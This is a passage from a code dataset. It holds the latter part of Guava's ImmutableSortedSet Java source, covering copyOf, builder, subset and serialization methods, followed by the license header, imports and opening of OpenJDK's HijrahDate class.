* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any of {@code elements} is null
* @since 3.0
*/
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> copyOf(E[] elements) {
return construct(Ordering.natural(), elements.length, elements.clone());
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@code compareTo()}, only the first one
* specified is included. To create a copy of a {@code SortedSet} that preserves the comparator,
* call {@link #copyOfSorted} instead. This method iterates over {@code elements} at most once.
*
* <p>Note that if {@code s} is a {@code Set<String>}, then {@code ImmutableSortedSet.copyOf(s)}
* returns an {@code ImmutableSortedSet<String>} containing each of the strings in {@code s},
* while {@code ImmutableSortedSet.of(s)} returns an {@code ImmutableSortedSet<Set<String>>}
* containing one element (the given set itself).
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* <p>This method is not type-safe, as it may be called on elements that are not mutually
* comparable.
*
* @throws ClassCastException if the elements are not mutually comparable
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableSortedSet<E> copyOf(Iterable<? extends E> elements) {
// Hack around E not being a subtype of Comparable.
// Unsafe, see ImmutableSortedSetFauxverideShim.
@SuppressWarnings("unchecked")
Ordering<E> naturalOrder = (Ordering<E>) Ordering.<Comparable<?>>natural();
return copyOf(naturalOrder, elements);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@code compareTo()}, only the first one
* specified is included. To create a copy of a {@code SortedSet} that preserves the comparator,
* call {@link #copyOfSorted} instead. This method iterates over {@code elements} at most once.
*
* <p>Note that if {@code s} is a {@code Set<String>}, then {@code ImmutableSortedSet.copyOf(s)}
* returns an {@code ImmutableSortedSet<String>} containing each of the strings in {@code s},
* while {@code ImmutableSortedSet.of(s)} returns an {@code ImmutableSortedSet<Set<String>>}
* containing one element (the given set itself).
*
* <p><b>Note:</b> Despite what the method name suggests, if {@code elements} is an {@code
* ImmutableSortedSet}, it may be returned instead of a copy.
*
* <p>This method is not type-safe, as it may be called on elements that are not mutually
* comparable.
*
* <p>This method is safe to use even when {@code elements} is a synchronized or concurrent
* collection that is currently being modified by another thread.
*
* @throws ClassCastException if the elements are not mutually comparable
* @throws NullPointerException if any of {@code elements} is null
* @since 7.0 (source-compatible since 2.0)
*/
public static <E> ImmutableSortedSet<E> copyOf(Collection<? extends E> elements) {
// Hack around E not being a subtype of Comparable.
// Unsafe, see ImmutableSortedSetFauxverideShim.
@SuppressWarnings("unchecked")
Ordering<E> naturalOrder = (Ordering<E>) Ordering.<Comparable<?>>natural();
return copyOf(naturalOrder, elements);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@code compareTo()}, only the first one
* specified is included.
*
* <p>This method is not type-safe, as it may be called on elements that are not mutually
* comparable.
*
* @throws ClassCastException if the elements are not mutually comparable
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableSortedSet<E> copyOf(Iterator<? extends E> elements) {
// Hack around E not being a subtype of Comparable.
// Unsafe, see ImmutableSortedSetFauxverideShim.
@SuppressWarnings("unchecked")
Ordering<E> naturalOrder = (Ordering<E>) Ordering.<Comparable<?>>natural();
return copyOf(naturalOrder, elements);
}
/**
* Returns an immutable sorted set containing the given elements sorted by the given {@code
* Comparator}. When multiple elements are equivalent according to {@code compareTo()}, only the
* first one specified is included.
*
* @throws NullPointerException if {@code comparator} or any of {@code elements} is null
*/
public static <E> ImmutableSortedSet<E> copyOf(
Comparator<? super E> comparator, Iterator<? extends E> elements) {
return new Builder<E>(comparator).addAll(elements).build();
}
/**
* Returns an immutable sorted set containing the given elements sorted by the given {@code
* Comparator}. When multiple elements are equivalent according to {@code compare()}, only the
* first one specified is included. This method iterates over {@code elements} at most once.
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* @throws NullPointerException if {@code comparator} or any of {@code elements} is null
*/
public static <E> ImmutableSortedSet<E> copyOf(
Comparator<? super E> comparator, Iterable<? extends E> elements) {
checkNotNull(comparator);
boolean hasSameComparator = SortedIterables.hasSameComparator(comparator, elements);
if (hasSameComparator && (elements instanceof ImmutableSortedSet)) {
@SuppressWarnings("unchecked")
ImmutableSortedSet<E> original = (ImmutableSortedSet<E>) elements;
if (!original.isPartialView()) {
return original;
}
}
@SuppressWarnings("unchecked") // elements only contains E's; it's safe.
E[] array = (E[]) Iterables.toArray(elements);
return construct(comparator, array.length, array);
}
/**
* Returns an immutable sorted set containing the given elements sorted by the given {@code
* Comparator}. When multiple elements are equivalent according to {@code compareTo()}, only the
* first one specified is included.
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* <p>This method is safe to use even when {@code elements} is a synchronized or concurrent
* collection that is currently being modified by another thread.
*
* @throws NullPointerException if {@code comparator} or any of {@code elements} is null
* @since 7.0 (source-compatible since 2.0)
*/
public static <E> ImmutableSortedSet<E> copyOf(
Comparator<? super E> comparator, Collection<? extends E> elements) {
return copyOf(comparator, (Iterable<? extends E>) elements);
}
/**
* Returns an immutable sorted set containing the elements of a sorted set, sorted by the same
* {@code Comparator}. That behavior differs from {@link #copyOf(Iterable)}, which always uses the
* natural ordering of the elements.
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* <p>This method is safe to use even when {@code sortedSet} is a synchronized or concurrent
* collection that is currently being modified by another thread.
*
* @throws NullPointerException if {@code sortedSet} or any of its elements is null
*/
public static <E> ImmutableSortedSet<E> copyOfSorted(SortedSet<E> sortedSet) {
Comparator<? super E> comparator = SortedIterables.comparator(sortedSet);
ImmutableList<E> list = ImmutableList.copyOf(sortedSet);
if (list.isEmpty()) {
return emptySet(comparator);
} else {
return new RegularImmutableSortedSet<>(list, comparator);
}
}
/**
* Constructs an {@code ImmutableSortedSet} from the first {@code n} elements of {@code contents}.
* If {@code k} is the size of the returned {@code ImmutableSortedSet}, then the sorted unique
* elements are in the first {@code k} positions of {@code contents}, and {@code contents[i] ==
* null} for {@code k <= i < n}.
*
* <p>This method takes ownership of {@code contents}; do not modify {@code contents} after this
* returns.
*
* @throws NullPointerException if any of the first {@code n} elements of {@code contents} is null
*/
static <E> ImmutableSortedSet<E> construct(
Comparator<? super E> comparator, int n, E... contents) {
if (n == 0) {
return emptySet(comparator);
}
checkElementsNotNull(contents, n);
Arrays.sort(contents, 0, n, comparator);
int uniques = 1;
for (int i = 1; i < n; i++) {
E cur = contents[i];
E prev = contents[uniques - 1];
if (comparator.compare(cur, prev) != 0) {
contents[uniques++] = cur;
}
}
Arrays.fill(contents, uniques, n, null);
return new RegularImmutableSortedSet<>(
ImmutableList.<E>asImmutableList(contents, uniques), comparator);
}
/**
* Returns a builder that creates immutable sorted sets with an explicit comparator. If the
* comparator has a more general type than the set being generated, such as creating a {@code
* SortedSet<Integer>} with a {@code Comparator<Number>}, use the {@link Builder} constructor
* instead.
*
* @throws NullPointerException if {@code comparator} is null
*/
public static <E> Builder<E> orderedBy(Comparator<E> comparator) {
return new Builder<>(comparator);
}
/**
* Returns a builder that creates immutable sorted sets whose elements are ordered by the reverse
* of their natural ordering.
*/
public static <E extends Comparable<?>> Builder<E> reverseOrder() {
return new Builder<>(Collections.reverseOrder());
}
/**
* Returns a builder that creates immutable sorted sets whose elements are ordered by their
* natural ordering. The sorted sets use {@link Ordering#natural()} as the comparator. This method
* provides more type-safety than {@link #builder}, as it can be called only for classes that
* implement {@link Comparable}.
*/
public static <E extends Comparable<?>> Builder<E> naturalOrder() {
return new Builder<>(Ordering.natural());
}
/**
* A builder for creating immutable sorted set instances, especially {@code public static final}
* sets ("constant sets"), with a given comparator. Example:
*
* <pre>{@code
* public static final ImmutableSortedSet<Number> LUCKY_NUMBERS =
* new ImmutableSortedSet.Builder<Number>(ODDS_FIRST_COMPARATOR)
* .addAll(SINGLE_DIGIT_PRIMES)
* .add(42)
* .build();
* }</pre>
*
* <p>Builder instances can be reused; it is safe to call {@link #build} multiple times to build
* multiple sets in series. Each set is a superset of the set created before it.
*
* @since 2.0
*/
public static final class Builder<E> extends ImmutableSet.Builder<E> {
private final Comparator<? super E> comparator;
private E[] elements;
private int n;
/**
* Creates a new builder. The returned builder is equivalent to the builder generated by {@link
* ImmutableSortedSet#orderedBy}.
*/
/*
* TODO(cpovirk): use Object[] instead of E[] in the mainline? (The backport is different and
* doesn't need this suppression, but we keep it to minimize diffs.) Generally be more clear
* about when we have an Object[] vs. a Comparable[] or other array type in internalArray? If we
* used Object[], we might be able to optimize toArray() to use clone() sometimes. (See
* cl/592273615 and cl/592273683.)
*/
@SuppressWarnings("unchecked")
public Builder(Comparator<? super E> comparator) {
super(true); // don't construct guts of hash-based set builder
this.comparator = checkNotNull(comparator);
this.elements = (E[]) new Object[ImmutableCollection.Builder.DEFAULT_INITIAL_CAPACITY];
this.n = 0;
}
@Override
void copy() {
elements = Arrays.copyOf(elements, elements.length);
}
private void sortAndDedup() {
if (n == 0) {
return;
}
Arrays.sort(elements, 0, n, comparator);
int unique = 1;
for (int i = 1; i < n; i++) {
int cmp = comparator.compare(elements[unique - 1], elements[i]);
if (cmp < 0) {
elements[unique++] = elements[i];
} else if (cmp > 0) {
throw new AssertionError(
"Comparator " + comparator + " compare method violates its contract");
}
}
Arrays.fill(elements, unique, n, null);
n = unique;
}
/**
* Adds {@code element} to the {@code ImmutableSortedSet}. If the {@code ImmutableSortedSet}
* already contains {@code element}, then {@code add} has no effect. (only the previously added
* element is retained).
*
* @param element the element to add
* @return this {@code Builder} object
* @throws NullPointerException if {@code element} is null
*/
@CanIgnoreReturnValue
@Override
public Builder<E> add(E element) {
checkNotNull(element);
copyIfNecessary();
if (n == elements.length) {
sortAndDedup();
/*
* Sorting operations can only be allowed to occur once every O(n) operations to keep
* amortized O(n log n) performance. Therefore, ensure there are at least O(n) *unused*
* spaces in the builder array.
*/
int newLength = ImmutableCollection.Builder.expandedCapacity(n, n + 1);
if (newLength > elements.length) {
elements = Arrays.copyOf(elements, newLength);
}
}
elements[n++] = element;
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableSortedSet}, ignoring duplicate
* elements (only the first duplicate element is added).
*
* @param elements the elements to add
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> add(E... elements) {
checkElementsNotNull(elements);
for (E e : elements) {
add(e);
}
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableSortedSet}, ignoring duplicate
* elements (only the first duplicate element is added).
*
* @param elements the elements to add to the {@code ImmutableSortedSet}
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> addAll(Iterable<? extends E> elements) {
super.addAll(elements);
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableSortedSet}, ignoring duplicate
* elements (only the first duplicate element is added).
*
* @param elements the elements to add to the {@code ImmutableSortedSet}
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} contains a null element
*/
@CanIgnoreReturnValue
@Override
public Builder<E> addAll(Iterator<? extends E> elements) {
super.addAll(elements);
return this;
}
@CanIgnoreReturnValue
@Override
Builder<E> combine(ImmutableSet.Builder<E> builder) {
copyIfNecessary();
Builder<E> other = (Builder<E>) builder;
for (int i = 0; i < other.n; i++) {
add(other.elements[i]);
}
return this;
}
/**
* Returns a newly-created {@code ImmutableSortedSet} based on the contents of the {@code
* Builder} and its comparator.
*/
@Override
public ImmutableSortedSet<E> build() {
sortAndDedup();
if (n == 0) {
return emptySet(comparator);
} else {
forceCopy = true;
return new RegularImmutableSortedSet<>(
ImmutableList.asImmutableList(elements, n), comparator);
}
}
}
int unsafeCompare(Object a, @CheckForNull Object b) {
return unsafeCompare(comparator, a, b);
}
static int unsafeCompare(Comparator<?> comparator, Object a, @CheckForNull Object b) {
// Pretend the comparator can compare anything. If it turns out it can't
// compare a and b, we should get a CCE or NPE on the subsequent line. Only methods
// that are spec'd to throw CCE and NPE should call this.
@SuppressWarnings({"unchecked", "nullness"})
Comparator<@Nullable Object> unsafeComparator = (Comparator<@Nullable Object>) comparator;
return unsafeComparator.compare(a, b);
}
final transient Comparator<? super E> comparator;
ImmutableSortedSet(Comparator<? super E> comparator) {
this.comparator = comparator;
}
/**
* Returns the comparator that orders the elements, which is {@link Ordering#natural()} when the
* natural ordering of the elements is used. Note that its behavior is not consistent with {@link
* SortedSet#comparator()}, which returns {@code null} to indicate natural ordering.
*/
@Override
public Comparator<? super E> comparator() {
return comparator;
}
@Override // needed to unify the iterator() methods in Collection and SortedIterable
public abstract UnmodifiableIterator<E> iterator();
/**
* {@inheritDoc}
*
* <p>This method returns a serializable {@code ImmutableSortedSet}.
*
* <p>The {@link SortedSet#headSet} documentation states that a subset of a subset throws an
* {@link IllegalArgumentException} if passed a {@code toElement} greater than an earlier {@code
* toElement}. However, this method doesn't throw an exception in that situation, but instead
* keeps the original {@code toElement}.
*/
@Override
public ImmutableSortedSet<E> headSet(E toElement) {
return headSet(toElement, false);
}
/** @since 12.0 */
@Override
public ImmutableSortedSet<E> headSet(E toElement, boolean inclusive) {
return headSetImpl(checkNotNull(toElement), inclusive);
}
/**
* {@inheritDoc}
*
* <p>This method returns a serializable {@code ImmutableSortedSet}.
*
* <p>The {@link SortedSet#subSet} documentation states that a subset of a subset throws an {@link
* IllegalArgumentException} if passed a {@code fromElement} smaller than an earlier {@code
* fromElement}. However, this method doesn't throw an exception in that situation, but instead
* keeps the original {@code fromElement}. Similarly, this method keeps the original {@code
* toElement}, instead of throwing an exception, if passed a {@code toElement} greater than an
* earlier {@code toElement}.
*/
@Override
public ImmutableSortedSet<E> subSet(E fromElement, E toElement) {
return subSet(fromElement, true, toElement, false);
}
/** @since 12.0 */
@GwtIncompatible // NavigableSet
@Override
public ImmutableSortedSet<E> subSet(
E fromElement, boolean fromInclusive, E toElement, boolean toInclusive) {
checkNotNull(fromElement);
checkNotNull(toElement);
checkArgument(comparator.compare(fromElement, toElement) <= 0);
return subSetImpl(fromElement, fromInclusive, toElement, toInclusive);
}
/**
* {@inheritDoc}
*
* <p>This method returns a serializable {@code ImmutableSortedSet}.
*
* <p>The {@link SortedSet#tailSet} documentation states that a subset of a subset throws an
* {@link IllegalArgumentException} if passed a {@code fromElement} smaller than an earlier {@code
* fromElement}. However, this method doesn't throw an exception in that situation, but instead
* keeps the original {@code fromElement}.
*/
@Override
public ImmutableSortedSet<E> tailSet(E fromElement) {
return tailSet(fromElement, true);
}
/** @since 12.0 */
@Override
public ImmutableSortedSet<E> tailSet(E fromElement, boolean inclusive) {
return tailSetImpl(checkNotNull(fromElement), inclusive);
}
/*
* These methods perform most headSet, subSet, and tailSet logic, besides
* parameter validation.
*/
abstract ImmutableSortedSet<E> headSetImpl(E toElement, boolean inclusive);
abstract ImmutableSortedSet<E> subSetImpl(
E fromElement, boolean fromInclusive, E toElement, boolean toInclusive);
abstract ImmutableSortedSet<E> tailSetImpl(E fromElement, boolean inclusive);
/** @since 12.0 */
@GwtIncompatible // NavigableSet
@Override
@CheckForNull
public E lower(E e) {
return Iterators.<@Nullable E>getNext(headSet(e, false).descendingIterator(), null);
}
/** @since 12.0 */
@Override
@CheckForNull
public E floor(E e) {
return Iterators.<@Nullable E>getNext(headSet(e, true).descendingIterator(), null);
}
/** @since 12.0 */
@Override
@CheckForNull
public E ceiling(E e) {
return Iterables.<@Nullable E>getFirst(tailSet(e, true), null);
}
/** @since 12.0 */
@GwtIncompatible // NavigableSet
@Override
@CheckForNull
public E higher(E e) {
return Iterables.<@Nullable E>getFirst(tailSet(e, false), null);
}
@Override
public E first() {
return iterator().next();
}
@Override
public E last() {
return descendingIterator().next();
}
/**
* Guaranteed to throw an exception and leave the set unmodified.
*
* @since 12.0
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@GwtIncompatible // NavigableSet
@Override
@DoNotCall("Always throws UnsupportedOperationException")
@CheckForNull
public final E pollFirst() {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the set unmodified.
*
* @since 12.0
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@GwtIncompatible // NavigableSet
@Override
@DoNotCall("Always throws UnsupportedOperationException")
@CheckForNull
public final E pollLast() {
throw new UnsupportedOperationException();
}
@GwtIncompatible // NavigableSet
@LazyInit
@CheckForNull
transient ImmutableSortedSet<E> descendingSet;
/** @since 12.0 */
@GwtIncompatible // NavigableSet
@Override
public ImmutableSortedSet<E> descendingSet() {
// racy single-check idiom
ImmutableSortedSet<E> result = descendingSet;
if (result == null) {
result = descendingSet = createDescendingSet();
result.descendingSet = this;
}
return result;
}
// Most classes should implement this as new DescendingImmutableSortedSet<E>(this),
// but we push down that implementation because ProGuard can't eliminate it even when it's always
// overridden.
@GwtIncompatible // NavigableSet
abstract ImmutableSortedSet<E> createDescendingSet();
@Override
public Spliterator<E> spliterator() {
return new Spliterators.AbstractSpliterator<E>(
size(), SPLITERATOR_CHARACTERISTICS | Spliterator.SIZED) {
final UnmodifiableIterator<E> iterator = iterator();
@Override
public boolean tryAdvance(Consumer<? super E> action) {
if (iterator.hasNext()) {
action.accept(iterator.next());
return true;
} else {
return false;
}
}
@Override
public Comparator<? super E> getComparator() {
return comparator;
}
};
}
/** @since 12.0 */
@GwtIncompatible // NavigableSet
@Override
public abstract UnmodifiableIterator<E> descendingIterator();
/** Returns the position of an element within the set, or -1 if not present. */
abstract int indexOf(@CheckForNull Object target);
/*
* This class is used to serialize all ImmutableSortedSet instances,
* regardless of implementation type. It captures their "logical contents"
* only. This is necessary to ensure that the existence of a particular
* implementation type is an implementation detail.
*/
@J2ktIncompatible // serialization
private static class SerializedForm<E> implements Serializable {
final Comparator<? super E> comparator;
final Object[] elements;
public SerializedForm(Comparator<? super E> comparator, Object[] elements) {
this.comparator = comparator;
this.elements = elements;
}
@SuppressWarnings("unchecked")
Object readResolve() {
return new Builder<E>(comparator).add((E[]) elements).build();
}
private static final long serialVersionUID = 0;
}
@J2ktIncompatible // serialization
private void readObject(ObjectInputStream unused) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
@Override
@J2ktIncompatible // serialization
Object writeReplace() {
return new SerializedForm<E>(comparator, toArray());
}
/**
* Not supported. Use {@link #toImmutableSortedSet} instead. This method exists only to hide
* {@link ImmutableSet#toImmutableSet} from consumers of {@code ImmutableSortedSet}.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link ImmutableSortedSet#toImmutableSortedSet}.
* @since 21.0
*/
@DoNotCall("Use toImmutableSortedSet")
@Deprecated
public static <E> Collector<E, ?, ImmutableSet<E>> toImmutableSet() {
throw new UnsupportedOperationException();
}
/**
* Not supported. Use {@link #naturalOrder}, which offers better type-safety, instead. This method
* exists only to hide {@link ImmutableSet#builder} from consumers of {@code ImmutableSortedSet}.
*
* @throws UnsupportedOperationException always
* @deprecated Use {@link ImmutableSortedSet#naturalOrder}, which offers better type-safety.
*/
@DoNotCall("Use naturalOrder")
@Deprecated
public static <E> ImmutableSortedSet.Builder<E> builder() {
throw new UnsupportedOperationException();
}
/**
* Not supported. This method exists only to hide {@link ImmutableSet#builderWithExpectedSize}
* from consumers of {@code ImmutableSortedSet}.
*
* @throws UnsupportedOperationException always
* @deprecated Not supported by ImmutableSortedSet.
*/
@DoNotCall("Use naturalOrder (which does not accept an expected size)")
@Deprecated
public static <E> ImmutableSortedSet.Builder<E> builderWithExpectedSize(int expectedSize) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass a parameter of type {@code Comparable} to use {@link
* ImmutableSortedSet#of(Comparable)}.</b>
*/
@DoNotCall("Pass a parameter of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass the parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#of(Comparable, Comparable)}.</b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1, E e2) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass the parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#of(Comparable, Comparable, Comparable)}.</b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass the parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#of(Comparable, Comparable, Comparable, Comparable)}. </b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass the parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#of( Comparable, Comparable, Comparable, Comparable, Comparable)}. </b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain a non-{@code Comparable}
* element.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass the parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#of(Comparable, Comparable, Comparable, Comparable, Comparable,
* Comparable, Comparable...)}. </b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
public static <E> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... remaining) {
throw new UnsupportedOperationException();
}
/**
* Not supported. <b>You are attempting to create a set that may contain non-{@code Comparable}
* elements.</b> Proper calls will resolve to the version in {@code ImmutableSortedSet}, not this
* dummy version.
*
* @throws UnsupportedOperationException always
* @deprecated <b>Pass parameters of type {@code Comparable} to use {@link
* ImmutableSortedSet#copyOf(Comparable[])}.</b>
*/
@DoNotCall("Pass parameters of type Comparable")
@Deprecated
// The usage of "Z" here works around bugs in Javadoc (JDK-8318093) and JDiff.
public static <Z> ImmutableSortedSet<Z> copyOf(Z[] elements) {
throw new UnsupportedOperationException();
}
private static final long serialVersionUID = 0xcafebabe;
}
| google/guava | guava/src/com/google/common/collect/ImmutableSortedSet.java |
1,401 | /*
* Copyright (c) 2012, 2019, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* Copyright (c) 2012, Stephen Colebourne & Michael Nascimento Santos
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of JSR-310 nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package java.time.chrono;
import static java.time.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_MONTH;
import static java.time.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_YEAR;
import static java.time.temporal.ChronoField.ALIGNED_WEEK_OF_MONTH;
import static java.time.temporal.ChronoField.ALIGNED_WEEK_OF_YEAR;
import static java.time.temporal.ChronoField.DAY_OF_MONTH;
import static java.time.temporal.ChronoField.MONTH_OF_YEAR;
import static java.time.temporal.ChronoField.YEAR;
import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.time.Clock;
import java.time.DateTimeException;
import java.time.LocalDate;
import java.time.LocalTime;
import java.time.ZoneId;
import java.time.temporal.ChronoField;
import java.time.temporal.TemporalAccessor;
import java.time.temporal.TemporalAdjuster;
import java.time.temporal.TemporalAmount;
import java.time.temporal.TemporalField;
import java.time.temporal.TemporalQuery;
import java.time.temporal.TemporalUnit;
import java.time.temporal.UnsupportedTemporalTypeException;
import java.time.temporal.ValueRange;
/**
* A date in the Hijrah calendar system.
* <p>
* This date operates using one of several variants of the
* {@linkplain HijrahChronology Hijrah calendar}.
* <p>
* The Hijrah calendar has a different total of days in a year than
* Gregorian calendar, and the length of each month is based on the period
* of a complete revolution of the moon around the earth
* (as between successive new moons).
* Refer to the {@link HijrahChronology} for details of supported variants.
* <p>
* Each HijrahDate is created bound to a particular HijrahChronology,
* The same chronology is propagated to each HijrahDate computed from the date.
* To use a different Hijrah variant, its HijrahChronology can be used
* to create new HijrahDate instances.
* Alternatively, the {@link #withVariant} method can be used to convert
* to a new HijrahChronology.
* <p>
* This is a <a href="{@docRoot}/java.base/java/lang/doc-files/ValueBased.html">value-based</a>
* class; programmers should treat instances that are
* {@linkplain #equals(Object) equal} as interchangeable and should not
* use instances for synchronization, or unpredictable behavior may
* occur. For example, in a future release, synchronization may fail.
* The {@code equals} method should be used for comparisons.
*
* @implSpec
* This class is immutable and thread-safe.
*
* @since 1.8
*/
@jdk.internal.ValueBased
public final class HijrahDate
extends ChronoLocalDateImpl<HijrahDate>
implements ChronoLocalDate, Serializable {
/**
* Serialization version.
*/
@java.io.Serial
private static final long serialVersionUID = -5207853542612002020L;
/**
* The Chronology of this HijrahDate.
*/
private final transient HijrahChronology chrono;
/**
* The proleptic year.
*/
private final transient int prolepticYear;
/**
* The month-of-year.
*/
private final transient int monthOfYear;
/**
* The day-of-month.
*/
private final transient int dayOfMonth;
//-------------------------------------------------------------------------
/**
* Obtains an instance of {@code HijrahDate} from the Hijrah proleptic year,
* month-of-year and day-of-month.
*
* @param prolepticYear the proleptic year to represent in the Hijrah calendar
* @param monthOfYear the month-of-year to represent, from 1 to 12
* @param dayOfMonth the day-of-month to represent, from 1 to 30
* @return the Hijrah date, never null
* @throws DateTimeException if the value of any field is out of range
*/
static HijrahDate of(HijrahChronology chrono, int prolepticYear, int monthOfYear, int dayOfMonth) {
return new HijrahDate(chrono, prolepticYear, monthOfYear, dayOfMonth);
}
/**
* Returns a HijrahDate for the chronology and epochDay.
* @param chrono The Hijrah chronology
* @param epochDay the epoch day
* @return a HijrahDate for the epoch day; non-null
*/
static HijrahDate ofEpochDay(HijrahChronology chrono, long epochDay) {
return new HijrahDate(chrono, epochDay);
}
//-----------------------------------------------------------------------
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* in the default time-zone.
* <p>
